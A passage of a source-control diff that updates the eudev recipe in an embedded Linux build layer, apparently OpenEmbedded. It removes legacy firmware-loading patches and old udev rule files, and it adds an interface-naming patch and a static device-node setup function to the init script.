-Userspace firmware loading support is needed for Linux < 3.7.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Jonathan Liu <net147@gmail.com>
----
- rules/50-firmware.rules | 3 +++
- 1 file changed, 3 insertions(+)
- create mode 100644 rules/50-firmware.rules
-
-diff --git a/rules/50-firmware.rules b/rules/50-firmware.rules
-new file mode 100644
-index 0000000..f0ae684
---- /dev/null
-+++ b/rules/50-firmware.rules
-@@ -0,0 +1,3 @@
-+# do not edit this file, it will be overwritten on update
-+
-+SUBSYSTEM=="firmware", ACTION=="add", RUN{builtin}="firmware"
---
-2.3.3
-
diff --git a/meta/recipes-core/udev/eudev/Revert-udev-remove-userspace-firmware-loading-suppor.patch b/meta/recipes-core/udev/eudev/Revert-udev-remove-userspace-firmware-loading-suppor.patch
deleted file mode 100644
index db333e9376..0000000000
--- a/meta/recipes-core/udev/eudev/Revert-udev-remove-userspace-firmware-loading-suppor.patch
+++ /dev/null
@@ -1,364 +0,0 @@
-From e415372cc7a2f52e70e1cfa8c6c1f633b411355d Mon Sep 17 00:00:00 2001
-From: Lauren Post <lauren.post@nxp.com>
-Date: Wed, 8 Jun 2016 06:51:56 -0500
-Subject: [PATCH] Revert "udev: remove userspace firmware loading support"
-
-This reverts commit 3b717594600fa717cdf9bcfd0c7c1b703b245482.
-
-Conflicts:
- configure.ac
- src/udev/udevd.c
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Lauren Post <lauren.post@nxp.com>
----
- configure.ac | 39 +++++++++-
- rules/Makefile.am | 5 ++
- src/udev/Makefile.am | 10 +++
- src/udev/udev-builtin-firmware.c | 154 +++++++++++++++++++++++++++++++++++++++
- src/udev/udev-builtin.c | 3 +
- src/udev/udev.h | 6 ++
- src/udev/udevd.c | 13 ++++
- 7 files changed, 227 insertions(+), 3 deletions(-)
- create mode 100644 src/udev/udev-builtin-firmware.c
-
-diff --git a/configure.ac b/configure.ac
-index 8691891..65028c2 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -238,9 +238,42 @@ AC_CHECK_DECL([unshare],
- [#include <sched.h>])
-
- # ------------------------------------------------------------------------------
--AC_PATH_TOOL(GPERF, gperf)
--if test -z "$GPERF" ; then
-- AC_MSG_ERROR([*** gperf not found])
-+AC_ARG_WITH(firmware-path,
-+ AS_HELP_STRING([--with-firmware-path=DIR[[[:DIR[...]]]]],
-+ [Firmware search path (default=ROOTPREFIX/lib/firmware/updates:ROOTPREFIX/lib/firmware)]),
-+ [], [with_firmware_path="$rootprefix/lib/firmware/updates:$rootprefix/lib/firmware"])
-+OLD_IFS=$IFS
-+IFS=:
-+for i in $with_firmware_path; do
-+ if test "x${FIRMWARE_PATH}" = "x"; then
-+ FIRMWARE_PATH="\\\"${i}/\\\""
-+ else
-+ FIRMWARE_PATH="${FIRMWARE_PATH}, \\\"${i}/\\\""
-+ fi
-+done
-+IFS=$OLD_IFS
-+AC_SUBST(FIRMWARE_PATH)
-+AS_IF([test "x${FIRMWARE_PATH}" != "x"], [ AC_DEFINE(HAVE_FIRMWARE, 1, [Define if FIRMWARE is available]) ])
-+AM_CONDITIONAL(ENABLE_FIRMWARE, [test "x${FIRMWARE_PATH}" != "x"])
-+
-+# ------------------------------------------------------------------------------
-+AC_ARG_ENABLE([gudev],
-+ AS_HELP_STRING([--disable-gudev], [disable Gobject libudev support @<:@default=enabled@:>@]),
-+ [], [enable_gudev=yes])
-+AS_IF([test "x$enable_gudev" = "xyes"], [ PKG_CHECK_MODULES([GLIB], [glib-2.0 >= 2.22.0 gobject-2.0 >= 2.22.0]) ])
-+AM_CONDITIONAL([ENABLE_GUDEV], [test "x$enable_gudev" = "xyes"])
-+
-+# ------------------------------------------------------------------------------
-+AC_ARG_ENABLE([keymap],
-+ AS_HELP_STRING([--disable-keymap], [disable keymap fixup support @<:@default=enabled@:>@]),
-+ [], [enable_keymap=yes])
-+
-+if test "x$enable_keymap" = "xyes"; then
-+ AC_PATH_TOOL(GPERF, gperf)
-+ if test -z "$GPERF" ; then
-+ AC_MSG_ERROR([*** gperf not found])
-+ fi
-+ AC_DEFINE([ENABLE_KEYMAP], [1], [Define if we are enabling rule generator])
- fi
-
- # ------------------------------------------------------------------------------
-diff --git a/rules/Makefile.am b/rules/Makefile.am
-index 24c099c..d714ae3 100644
---- a/rules/Makefile.am
-+++ b/rules/Makefile.am
-@@ -22,6 +22,11 @@ dist_udevrules_DATA += \
- 80-net-name-slot.rules
- endif
-
-+if ENABLE_FIRMWARE
-+dist_udevrules_DATA += \
-+ 50-firmware.rules
-+endif
-+
- if HAVE_BLKID
- dist_udevrules_DATA += \
- 60-persistent-storage.rules
-diff --git a/src/udev/Makefile.am b/src/udev/Makefile.am
-index 401af01..742fbc8 100644
---- a/src/udev/Makefile.am
-+++ b/src/udev/Makefile.am
-@@ -53,12 +53,18 @@ libudev_core_la_SOURCES = \
- udev-ctrl.c \
- udev-builtin.c \
- udev-builtin-btrfs.c \
-+ udev-builtin-firmware.c \
- udev-builtin-hwdb.c \
- udev-builtin-input_id.c \
- udev-builtin-net_id.c \
- udev-builtin-path_id.c \
- udev-builtin-usb_id.c
-
-+if ENABLE_FIRMWARE
-+libudev_core_la_SOURCES += \
-+ udev-builtin-firmware.c
-+endif
-+
- include_HEADERS = \
- udev.h
-
-@@ -86,6 +92,10 @@ libudev_core_la_LIBADD += \
- $(KMOD_LIBS)
- endif
-
-+libudev_core_la_CPPFLAGS = \
-+ $(AM_CPPFLAGS) \
-+ -DFIRMWARE_PATH="$(FIRMWARE_PATH)"
-+
- #
- # Extras
- #
-diff --git a/src/udev/udev-builtin-firmware.c b/src/udev/udev-builtin-firmware.c
-new file mode 100644
-index 0000000..bd8c2fb
---- /dev/null
-+++ b/src/udev/udev-builtin-firmware.c
-@@ -0,0 +1,154 @@
-+/*
-+ * firmware - Kernel firmware loader
-+ *
-+ * Copyright (C) 2009 Piter Punk <piterpunk@slackware.com>
-+ * Copyright (C) 2009-2011 Kay Sievers <kay@vrfy.org>
-+ *
-+ * This program is free software; you can redistribute it and/or
-+ * modify it under the terms of the GNU General Public License as
-+ * published by the Free Software Foundation; either version 2 of the
-+ * License, or (at your option) any later version.
-+ *
-+ * This program is distributed in the hope that it will be useful, but
-+ * WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ * General Public License for more details:*
-+ */
-+
-+#include <unistd.h>
-+#include <stdlib.h>
-+#include <string.h>
-+#include <stdio.h>
-+#include <getopt.h>
-+#include <errno.h>
-+#include <stdbool.h>
-+#include <sys/utsname.h>
-+#include <sys/stat.h>
-+
-+#include "udev.h"
-+
-+static bool set_loading(struct udev *udev, char *loadpath, const char *state) {
-+ FILE *ldfile;
-+
-+ ldfile = fopen(loadpath, "we");
-+ if (ldfile == NULL) {
-+ log_error("error: can not open '%s'", loadpath);
-+ return false;
-+ };
-+ fprintf(ldfile, "%s\n", state);
-+ fclose(ldfile);
-+ return true;
-+}
-+
-+static bool copy_firmware(struct udev *udev, const char *source, const char *target, size_t size) {
-+ char *buf;
-+ FILE *fsource = NULL, *ftarget = NULL;
-+ bool ret = false;
-+
-+ buf = malloc(size);
-+ if (buf == NULL) {
-+ log_error("No memory available to load firmware file");
-+ return false;
-+ }
-+
-+ log_debug("writing '%s' (%zi) to '%s'", source, size, target);
-+
-+ fsource = fopen(source, "re");
-+ if (fsource == NULL)
-+ goto exit;
-+ ftarget = fopen(target, "we");
-+ if (ftarget == NULL)
-+ goto exit;
-+ if (fread(buf, size, 1, fsource) != 1)
-+ goto exit;
-+ if (fwrite(buf, size, 1, ftarget) == 1)
-+ ret = true;
-+exit:
-+ if (ftarget != NULL)
-+ fclose(ftarget);
-+ if (fsource != NULL)
-+ fclose(fsource);
-+ free(buf);
-+ return ret;
-+}
-+
-+static int builtin_firmware(struct udev_device *dev, int argc, char *argv[], bool test) {
-+ struct udev *udev = udev_device_get_udev(dev);
-+ static const char *searchpath[] = { FIRMWARE_PATH };
-+ char loadpath[UTIL_PATH_SIZE];
-+ char datapath[UTIL_PATH_SIZE];
-+ char fwpath[UTIL_PATH_SIZE];
-+ const char *firmware;
-+ FILE *fwfile = NULL;
-+ struct utsname kernel;
-+ struct stat statbuf;
-+ unsigned int i;
-+ int rc = EXIT_SUCCESS;
-+
-+ firmware = udev_device_get_property_value(dev, "FIRMWARE");
-+ if (firmware == NULL) {
-+ log_error("firmware parameter missing");
-+ rc = EXIT_FAILURE;
-+ goto exit;
-+ }
-+
-+ /* lookup firmware file */
-+ uname(&kernel);
-+ for (i = 0; i < ELEMENTSOF(searchpath); i++) {
-+ strscpyl(fwpath, sizeof(fwpath), searchpath[i], kernel.release, "/", firmware, NULL);
-+ fwfile = fopen(fwpath, "re");
-+ if (fwfile != NULL)
-+ break;
-+
-+ strscpyl(fwpath, sizeof(fwpath), searchpath[i], firmware, NULL);
-+ fwfile = fopen(fwpath, "re");
-+ if (fwfile != NULL)
-+ break;
-+ }
-+
-+ strscpyl(loadpath, sizeof(loadpath), udev_device_get_syspath(dev), "/loading", NULL);
-+
-+ if (fwfile == NULL) {
-+ log_debug("did not find firmware file '%s'", firmware);
-+ rc = EXIT_FAILURE;
-+ /*
-+ * Do not cancel the request in the initrd, the real root might have
-+ * the firmware file and the 'coldplug' run in the real root will find
-+ * this pending request and fulfill or cancel it.
-+ * */
-+ if (!in_initrd())
-+ set_loading(udev, loadpath, "-1");
-+ goto exit;
-+ }
-+
-+ if (stat(fwpath, &statbuf) < 0 || statbuf.st_size == 0) {
-+ if (!in_initrd())
-+ set_loading(udev, loadpath, "-1");
-+ rc = EXIT_FAILURE;
-+ goto exit;
-+ }
-+
-+ if (!set_loading(udev, loadpath, "1"))
-+ goto exit;
-+
-+ strscpyl(datapath, sizeof(datapath), udev_device_get_syspath(dev), "/data", NULL);
-+ if (!copy_firmware(udev, fwpath, datapath, statbuf.st_size)) {
-+ log_error("error sending firmware '%s' to device", firmware);
-+ set_loading(udev, loadpath, "-1");
-+ rc = EXIT_FAILURE;
-+ goto exit;
-+ };
-+
-+ set_loading(udev, loadpath, "0");
-+exit:
-+ if (fwfile)
-+ fclose(fwfile);
-+ return rc;
-+}
-+
-+const struct udev_builtin udev_builtin_firmware = {
-+ .name = "firmware",
-+ .cmd = builtin_firmware,
-+ .help = "kernel firmware loader",
-+ .run_once = true,
-+};
-diff --git a/src/udev/udev-builtin.c b/src/udev/udev-builtin.c
-index 74b3bdc..3657106 100644
---- a/src/udev/udev-builtin.c
-+++ b/src/udev/udev-builtin.c
-@@ -34,6 +34,9 @@ static const struct udev_builtin *builtins[] = {
- [UDEV_BUILTIN_BLKID] = &udev_builtin_blkid,
- #endif
- [UDEV_BUILTIN_BTRFS] = &udev_builtin_btrfs,
-+#ifdef HAVE_FIRMWARE
-+ [UDEV_BUILTIN_FIRMWARE] = &udev_builtin_firmware,
-+#endif
- [UDEV_BUILTIN_HWDB] = &udev_builtin_hwdb,
- [UDEV_BUILTIN_INPUT_ID] = &udev_builtin_input_id,
- [UDEV_BUILTIN_KEYBOARD] = &udev_builtin_keyboard,
-diff --git a/src/udev/udev.h b/src/udev/udev.h
-index 198cb2c..01a1e9c 100644
---- a/src/udev/udev.h
-+++ b/src/udev/udev.h
-@@ -149,6 +149,9 @@ enum udev_builtin_cmd {
- UDEV_BUILTIN_BLKID,
- #endif
- UDEV_BUILTIN_BTRFS,
-+#ifdef HAVE_FIRMWARE
-+ UDEV_BUILTIN_FIRMWARE,
-+#endif
- UDEV_BUILTIN_HWDB,
- UDEV_BUILTIN_INPUT_ID,
- UDEV_BUILTIN_KEYBOARD,
-@@ -173,6 +176,9 @@ struct udev_builtin {
- extern const struct udev_builtin udev_builtin_blkid;
- #endif
- extern const struct udev_builtin udev_builtin_btrfs;
-+#ifdef HAVE_FIRMWARE
-+extern const struct udev_builtin udev_builtin_firmware;
-+#endif
- extern const struct udev_builtin udev_builtin_hwdb;
- extern const struct udev_builtin udev_builtin_input_id;
- extern const struct udev_builtin udev_builtin_keyboard;
-diff --git a/src/udev/udevd.c b/src/udev/udevd.c
-index b1de97a..35655d8 100644
---- a/src/udev/udevd.c
-+++ b/src/udev/udevd.c
-@@ -101,6 +101,9 @@ struct event {
- bool is_block;
- usec_t start_usec;
- bool warned;
-+#ifdef HAVE_FIRMWARE
-+ bool nodelay;
-+#endif
- };
-
- static inline struct event *node_to_event(struct udev_list_node *node) {
-@@ -491,6 +494,10 @@ static int event_queue_insert(struct udev_device *dev) {
- event->devnum = udev_device_get_devnum(dev);
- event->is_block = streq("block", udev_device_get_subsystem(dev));
- event->ifindex = udev_device_get_ifindex(dev);
-+#ifdef HAVE_FIRMWARE
-+ if (streq(udev_device_get_subsystem(dev), "firmware"))
-+ event->nodelay = true;
-+#endif
-
- log_debug("seq %llu queued, '%s' '%s'", udev_device_get_seqnum(dev),
- udev_device_get_action(dev), udev_device_get_subsystem(dev));
-@@ -566,6 +573,12 @@ static bool is_devpath_busy(struct event *event) {
- return true;
- }
-
-+#ifdef HAVE_FIRMWARE
-+ /* allow to bypass the dependency tracking */
-+ if (event->nodelay)
-+ continue;
-+#endif
-+
- /* parent device event found */
- if (event->devpath[common] == '/') {
- event->delaying_seqnum = loop_event->seqnum;
---
-1.9.1
-
diff --git a/meta/recipes-core/udev/eudev/devfs-udev.rules b/meta/recipes-core/udev/eudev/devfs-udev.rules
deleted file mode 100644
index 0ba1ad4e7f..0000000000
--- a/meta/recipes-core/udev/eudev/devfs-udev.rules
+++ /dev/null
@@ -1,108 +0,0 @@
-# The use of these rules is not recommended or supported.
-# In a world where devices can come and go at any time, the devfs scheme
-# of simple device enumeration does not help _anything_. Just forget about
-# it. Use custom rules to name your device or look at the persistent device
-# naming scheme, which is implemented for disks and add your subsystem.
-
-# ide block devices
-BUS="ide", KERNEL="hd*", PROGRAM="/etc/udev/ide-devfs.sh %k %b %n", NAME="%k", SYMLINK="%c{1} %c{2}"
-
-# md block devices
-KERNEL="md[0-9]*", NAME="md/%n"
-
-# floppy devices
-KERNEL="fd[0-9]*", NAME="floppy/%n"
-
-# tty devices
-KERNEL="tty[0-9]*", NAME="vc/%n", SYMLINK="%k"
-KERNEL="ttyS[0-9]*", NAME="tts/%n", SYMLINK="%k"
-KERNEL="ttyUSB[0-9]*", NAME="tts/USB%n"
-
-# vc devices
-KERNEL="vcs", NAME="vcc/0"
-KERNEL="vcs[0-9]*", NAME="vcc/%n"
-KERNEL="vcsa", NAME="vcc/a0"
-KERNEL="vcsa[0-9]*", NAME="vcc/a%n"
-
-# v4l devices
-KERNEL="video[0-9]*", NAME="v4l/video%n"
-KERNEL="radio[0-9]*", NAME="v4l/radio%n"
-KERNEL="vbi[0-9]*", NAME="v4l/vbi%n"
-KERNEL="vtx[0-9]*", NAME="v4l/vtx%n"
-
-# dm devices (ignore them)
-KERNEL="dm-[0-9]*", NAME=""
-
-# i2c devices
-KERNEL="i2c-[0-9]*", NAME="i2c/%n", SYMLINK="%k"
-
-# loop devices
-KERNEL="loop[0-9]*", NAME="loop/%n", SYMLINK="%k"
-
-# ramdisks
-KERNEL="ram[0-9]*", NAME="rd/%n", SYMLINK="%k"
-
-# framebuffer devices
-KERNEL="fb[0-9]*", NAME="fb/%n", SYMLINK="%k"
-
-# misc
-KERNEL="rtc", NAME="misc/%k", SYMLINK="%k"
-KERNEL="psaux", NAME="misc/%k", SYMLINK="%k"
-KERNEL="agpgart", NAME="misc/%k", SYMLINK="%k"
-KERNEL="rtc", NAME="misc/%k", SYMLINK="%k"
-KERNEL="psaux", NAME="misc/%k", SYMLINK="%k"
-KERNEL="uinput", NAME="misc/%k", SYMLINK="%k"
-
-# alsa devices
-KERNEL="controlC[0-9]*", NAME="snd/%k"
-KERNEL="hw[CD0-9]*", NAME="snd/%k"
-KERNEL="pcm[CD0-9cp]*", NAME="snd/%k"
-KERNEL="midi[CD0-9]*", NAME="snd/%k"
-KERNEL="timer", NAME="snd/%k"
-KERNEL="seq", NAME="snd/%k"
-
-# oss devices
-KERNEL="audio*", NAME="sound/%k", SYMLINK="%k"
-KERNEL="dmmidi", NAME="sound/%k", SYMLINK="%k"
-KERNEL="dsp*", NAME="sound/%k", SYMLINK="%k"
-KERNEL="midi*", NAME="sound/%k", SYMLINK="%k"
-KERNEL="mixer*", NAME="sound/%k", SYMLINK="%k"
-KERNEL="sequencer*", NAME="sound/%k", SYMLINK="%k"
-
-# input devices
-KERNEL="mice", NAME="input/%k"
-KERNEL="mouse*", NAME="input/%k"
-KERNEL="event*", NAME="input/%k"
-KERNEL="js*", NAME="input/%k"
-KERNEL="ts*", NAME="input/%k"
-
-# USB devices
-KERNEL="hiddev*", NAME="usb/%k"
-KERNEL="auer*", NAME="usb/%k"
-KERNEL="legousbtower*", NAME="usb/%k"
-KERNEL="dabusb*", NAME="usb/%k"
-BUS="usb", KERNEL="lp[0-9]*", NAME="usb/%k"
-
-# netlink devices
-KERNEL="route", NAME="netlink/%k"
-KERNEL="skip", NAME="netlink/%k"
-KERNEL="usersock", NAME="netlink/%k"
-KERNEL="fwmonitor", NAME="netlink/%k"
-KERNEL="tcpdiag", NAME="netlink/%k"
-KERNEL="nflog", NAME="netlink/%k"
-KERNEL="xfrm", NAME="netlink/%k"
-KERNEL="arpd", NAME="netlink/%k"
-KERNEL="route6", NAME="netlink/%k"
-KERNEL="ip6_fw", NAME="netlink/%k"
-KERNEL="dnrtmsg", NAME="netlink/%k"
-KERNEL="tap*", NAME="netlink/%k"
-
-# CAPI devices
-KERNEL="capi", NAME="capi20", SYMLINK="isdn/capi20"
-KERNEL="capi*", NAME="capi/%n"
-
-# Network devices
-KERNEL="tun", NAME="net/%k"
-
-# raw devices
-KERNEL="raw[0-9]*", NAME="raw/%k"
diff --git a/meta/recipes-core/udev/eudev/init b/meta/recipes-core/udev/eudev/init
index 0455ade258..477a525b21 100644
--- a/meta/recipes-core/udev/eudev/init
+++ b/meta/recipes-core/udev/eudev/init
@@ -23,6 +23,42 @@ kill_udevd () {
[ -n "$pid" ] && kill $pid
}
+make_static_nodes () {
+ [ -e /lib/modules/$(uname -r)/modules.devname ] || return 0
+ [ -x @KMOD@ ] || return 0
+
+ #output to /proc/self/fd/1 since /dev/stdout not created by udevd yet
+ @KMOD@ static-nodes --format=tmpfiles --output=/proc/self/fd/1 |
+ while read TTYPE TPATH TMODE TUSER TGROUP TAGE TARG; do
+ case "${TTYPE}" in
+ 'd')
+ test -d "${TPATH}" || mkdir -p -m "${TMODE}" "${TPATH}"
+ ;;
+
+ 'c!')
+ if [ ! -c "${TPATH}" ]; then
+ old_ifs="${IFS}"
+ IFS=:
+ set -- ${TARG}
+ IFS="${old_ifs}"
+ mknod -m "${TMODE}" "${TPATH}" c "$@"
+ fi
+ ;;
+
+ *)
+ echo "Unparseable line (${TTYPE} ${TPATH} ${TMODE} ${TUSER} ${TGROUP} ${TAGE} ${TARG})"
+ return 1
+ ;;
+ esac
+ if [ "${TUSER}" != "-" ]; then
+ chown "${TUSER}" "${TPATH}"
+ fi
+ if [ "${TGROUP}" != "-" ]; then
+ chgrp "${TGROUP}" "${TPATH}"
+ fi
+ done
+}
+
case "$1" in
start)
export ACTION=add
@@ -51,8 +87,9 @@ case "$1" in
# make_extra_nodes
kill_udevd > "/dev/null" 2>&1
+ make_static_nodes
# trigger the sorted events
- [ -e /proc/sys/kernel/hotplug ] && echo -e '\000' >/proc/sys/kernel/hotplug
+ [ -e /proc/sys/kernel/hotplug ] && printf '\0\n' >/proc/sys/kernel/hotplug
@UDEVD@ -d
udevadm control --env=STARTUP=1
diff --git a/meta/recipes-core/udev/eudev/links.conf b/meta/recipes-core/udev/eudev/links.conf
deleted file mode 100644
index 8fff922db6..0000000000
--- a/meta/recipes-core/udev/eudev/links.conf
+++ /dev/null
@@ -1,21 +0,0 @@
-# This file does not exist. Please do not ask the debian maintainer about it.
-# You may use it to do strange and wonderful things, at your risk.
-
-L fd /proc/self/fd
-L stdin /proc/self/fd/0
-L stdout /proc/self/fd/1
-L stderr /proc/self/fd/2
-L core /proc/kcore
-L sndstat /proc/asound/oss/sndstat
-L MAKEDEV /sbin/MAKEDEV
-
-D pts
-D shm
-
-# Hic sunt leones.
-M ppp c 108 0
-D loop
-M loop/0 b 7 0
-D net
-M net/tun c 10 200
-
diff --git a/meta/recipes-core/udev/eudev/netifnames.patch b/meta/recipes-core/udev/eudev/netifnames.patch
new file mode 100644
index 0000000000..4f8e54d12d
--- /dev/null
+++ b/meta/recipes-core/udev/eudev/netifnames.patch
@@ -0,0 +1,17 @@
+eudev: consider ID_NET_NAME_MAC as an interface name
+
+eudev might not create names based on slot or path.
+
+Upstream-Status: Backport [github.com/eudev-project/eudev/pull/274]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+--- a/rules/80-net-name-slot.rules
++++ b/rules/80-net-name-slot.rules
+@@ -10,5 +10,6 @@ ENV{net.ifnames}=="0", GOTO="net_name_sl
+ NAME=="", ENV{ID_NET_NAME_ONBOARD}!="", NAME="$env{ID_NET_NAME_ONBOARD}"
+ NAME=="", ENV{ID_NET_NAME_SLOT}!="", NAME="$env{ID_NET_NAME_SLOT}"
+ NAME=="", ENV{ID_NET_NAME_PATH}!="", NAME="$env{ID_NET_NAME_PATH}"
++NAME=="", ENV{ID_NET_NAME_MAC}!="", NAME="$env{ID_NET_NAME_MAC}"
+
+ LABEL="net_name_slot_end"
diff --git a/meta/recipes-core/udev/eudev/permissions.rules b/meta/recipes-core/udev/eudev/permissions.rules
deleted file mode 100644
index 205b733292..0000000000
--- a/meta/recipes-core/udev/eudev/permissions.rules
+++ /dev/null
@@ -1,131 +0,0 @@
-ACTION!="add", GOTO="permissions_end"
-
-# workarounds needed to synchronize with sysfs
-# only needed for kernels < v2.6.18-rc1
-ENV{PHYSDEVPATH}!="?*", ENV{PHYSDEVBUS}=="?*", WAIT_FOR_SYSFS="bus"
-SUBSYSTEM=="scsi", KERNEL=="[0-9]*:[0-9]*", WAIT_FOR_SYSFS="ioerr_cnt"
-# only needed for kernels < 2.6.16
-SUBSYSTEM=="net", WAIT_FOR_SYSFS="address"
-# only needed for kernels < 2.6.17
-SUBSYSTEM=="net", ENV{DRIVER}=="?*", WAIT_FOR_SYSFS="device/driver"
-
-# devices needed to load the drivers providing them
-KERNEL=="tun", OPTIONS+="ignore_remove"
-KERNEL=="ppp", OPTIONS+="ignore_remove"
-KERNEL=="loop[0-9]*", OPTIONS+="ignore_remove"
-
-# default permissions for block devices
-SUBSYSTEM=="block", GROUP="disk"
-# the aacraid driver is broken and reports that disks removable (see #404927)
-SUBSYSTEM=="block", ATTRS{removable}=="1", \
- DRIVERS!="aacraid", GROUP="floppy"
-# all block devices on these buses are "removable"
-SUBSYSTEM=="block", SUBSYSTEMS=="usb|ieee1394|mmc|pcmcia", GROUP="floppy"
-
-# IDE devices
-KERNEL=="hd[a-z]|pcd[0-9]*", DRIVERS=="ide-cdrom|pcd", \
- IMPORT{program}="cdrom_id --export $tempnode"
-ENV{ID_CDROM}=="?*", GROUP="cdrom"
-KERNEL=="ht[0-9]*", GROUP="tape"
-KERNEL=="nht[0-9]*", GROUP="tape"
-
-# SCSI devices
-KERNEL=="sr[0-9]*", IMPORT{program}="cdrom_id --export $tempnode"
-SUBSYSTEMS=="scsi", ATTRS{type}=="1", GROUP="tape"
-SUBSYSTEMS=="scsi", ATTRS{type}=="3", ATTRS{vendor}=="HP", GROUP="scanner"
-SUBSYSTEMS=="scsi", ATTRS{type}=="3", ATTRS{vendor}=="Epson", GROUP="scanner"
-SUBSYSTEMS=="scsi", ATTRS{type}=="3", ATTRS{vendor}=="EPSON", GROUP="scanner"
-SUBSYSTEMS=="scsi", ATTRS{type}=="4", GROUP="cdrom"
-SUBSYSTEMS=="scsi", ATTRS{type}=="5", GROUP="cdrom"
-SUBSYSTEMS=="scsi", ATTRS{type}=="6", GROUP="scanner"
-SUBSYSTEMS=="scsi", ATTRS{type}=="8", GROUP="tape"
-
-# USB devices
-KERNEL=="legousbtower*", MODE="0666"
-KERNEL=="lp[0-9]*", SUBSYSTEMS=="usb", GROUP="lp"
-
-# usbfs-like devices
-SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", \
- MODE="0664"
-
-# iRiver music players
-SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", GROUP="plugdev", \
- ATTRS{idVendor}=="4102", ATTRS{idProduct}=="10[01][135789]"
-
-# serial devices
-SUBSYSTEM=="tty", GROUP="dialout"
-SUBSYSTEM=="capi", GROUP="dialout"
-SUBSYSTEM=="slamr", GROUP="dialout"
-SUBSYSTEM=="zaptel", GROUP="dialout"
-
-# vc devices (all members of the tty subsystem)
-KERNEL=="ptmx", MODE="0666", GROUP="root"
-KERNEL=="console", MODE="0600", GROUP="root"
-KERNEL=="tty", MODE="0666", GROUP="root"
-KERNEL=="tty[0-9]*", GROUP="root"
-KERNEL=="pty*", MODE="0666", GROUP="tty"
-
-# video devices
-SUBSYSTEM=="video4linux", GROUP="video"
-SUBSYSTEM=="drm", GROUP="video"
-SUBSYSTEM=="dvb", GROUP="video"
-SUBSYSTEM=="em8300", GROUP="video"
-SUBSYSTEM=="graphics", GROUP="video"
-SUBSYSTEM=="nvidia", GROUP="video"
-
-# misc devices
-KERNEL=="random", MODE="0666"
-KERNEL=="urandom", MODE="0666"
-KERNEL=="mem", MODE="0640", GROUP="kmem"
-KERNEL=="kmem", MODE="0640", GROUP="kmem"
-KERNEL=="port", MODE="0640", GROUP="kmem"
-KERNEL=="full", MODE="0666"
-KERNEL=="null", MODE="0666"
-KERNEL=="zero", MODE="0666"
-KERNEL=="inotify", MODE="0666"
-KERNEL=="sgi_fetchop", MODE="0666"
-KERNEL=="sonypi", MODE="0666"
-KERNEL=="agpgart", GROUP="video"
-KERNEL=="nvram", GROUP="nvram"
-KERNEL=="rtc|rtc[0-9]*", GROUP="audio"
-KERNEL=="tpm*", MODE="0600", OWNER="tss", GROUP="tss"
-KERNEL=="fuse", GROUP="fuse"
-KERNEL=="kqemu", MODE="0666"
-KERNEL=="kvm", GROUP="kvm"
-KERNEL=="tun", MODE="0666",
-
-KERNEL=="cdemu[0-9]*", GROUP="cdrom"
-KERNEL=="pktcdvd[0-9]*", GROUP="cdrom"
-KERNEL=="pktcdvd", MODE="0644"
-
-KERNEL=="uverbs*", GROUP="rdma"
-KERNEL=="ucm*", GROUP="rdma"
-KERNEL=="rdma_ucm", GROUP="rdma"
-
-# printers and parallel devices
-SUBSYSTEM=="printer", GROUP="lp"
-SUBSYSTEM=="ppdev", GROUP="lp"
-KERNEL=="irlpt*", GROUP="lp"
-KERNEL=="pt[0-9]*", GROUP="tape"
-KERNEL=="pht[0-9]*", GROUP="tape"
-
-# sound devices
-SUBSYSTEM=="sound", GROUP="audio"
-
-# ieee1394 devices
-KERNEL=="raw1394", GROUP="disk"
-KERNEL=="dv1394*", GROUP="video"
-KERNEL=="video1394*", GROUP="video"
-
-# input devices
-KERNEL=="event[0-9]*", ATTRS{name}=="*dvb*|*DVB*|* IR *" \
- MODE="0664", GROUP="video"
-KERNEL=="js[0-9]*", MODE="0664"
-KERNEL=="lirc[0-9]*", GROUP="video"
-
-# AOE character devices
-SUBSYSTEM=="aoe", MODE="0220", GROUP="disk"
-SUBSYSTEM=="aoe", KERNEL=="err", MODE="0440"
-
-LABEL="permissions_end"
-
diff --git a/meta/recipes-core/udev/eudev/run.rules b/meta/recipes-core/udev/eudev/run.rules
deleted file mode 100644
index 75d71375bb..0000000000
--- a/meta/recipes-core/udev/eudev/run.rules
+++ /dev/null
@@ -1,14 +0,0 @@
-# debugging monitor
-RUN+="socket:/org/kernel/udev/monitor"
-
-# run a command on remove events
-ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"
-
-# ignore the events generated by virtual consoles
-KERNEL=="ptmx", OPTIONS+="last_rule"
-KERNEL=="console", OPTIONS+="last_rule"
-KERNEL=="tty" , OPTIONS+="last_rule"
-KERNEL=="tty[0-9]*", OPTIONS+="last_rule"
-KERNEL=="pty*", OPTIONS+="last_rule"
-SUBSYSTEM=="vc", OPTIONS+="last_rule"
-
diff --git a/meta/recipes-core/udev/eudev/udev.rules b/meta/recipes-core/udev/eudev/udev.rules
deleted file mode 100644
index a19d4a0bf6..0000000000
--- a/meta/recipes-core/udev/eudev/udev.rules
+++ /dev/null
@@ -1,116 +0,0 @@
-# There are a number of modifiers that are allowed to be used in some
-# of the different fields. They provide the following subsitutions:
-#
-# %n the "kernel number" of the device.
-# For example, 'sda3' has a "kernel number" of '3'
-# %e the smallest number for that name which does not matches an existing node
-# %k the kernel name for the device
-# %M the kernel major number for the device
-# %m the kernel minor number for the device
-# %b the bus id for the device
-# %c the string returned by the PROGRAM
-# %s{filename} the content of a sysfs attribute
-# %% the '%' char itself
-#
-
-# workaround for devices which do not report media changes
-SUBSYSTEMS=="ide", KERNEL=="hd[a-z]", ATTR{removable}=="1", \
- ENV{ID_MODEL}=="IOMEGA_ZIP*", NAME="%k", OPTIONS+="all_partitions"
-SUBSYSTEMS=="ide", KERNEL=="hd[a-z]", ATTRS{media}=="floppy", \
- OPTIONS+="all_partitions"
-
-# SCSI devices
-SUBSYSTEMS=="scsi", KERNEL=="sr[0-9]*", NAME="scd%n", SYMLINK+="sr%n"
-
-# USB devices
-SUBSYSTEMS=="usb", KERNEL=="auer[0-9]*", NAME="usb/%k"
-SUBSYSTEMS=="usb", KERNEL=="cpad[0-9]*", NAME="usb/%k"
-SUBSYSTEMS=="usb", KERNEL=="dabusb*", NAME="usb/%k"
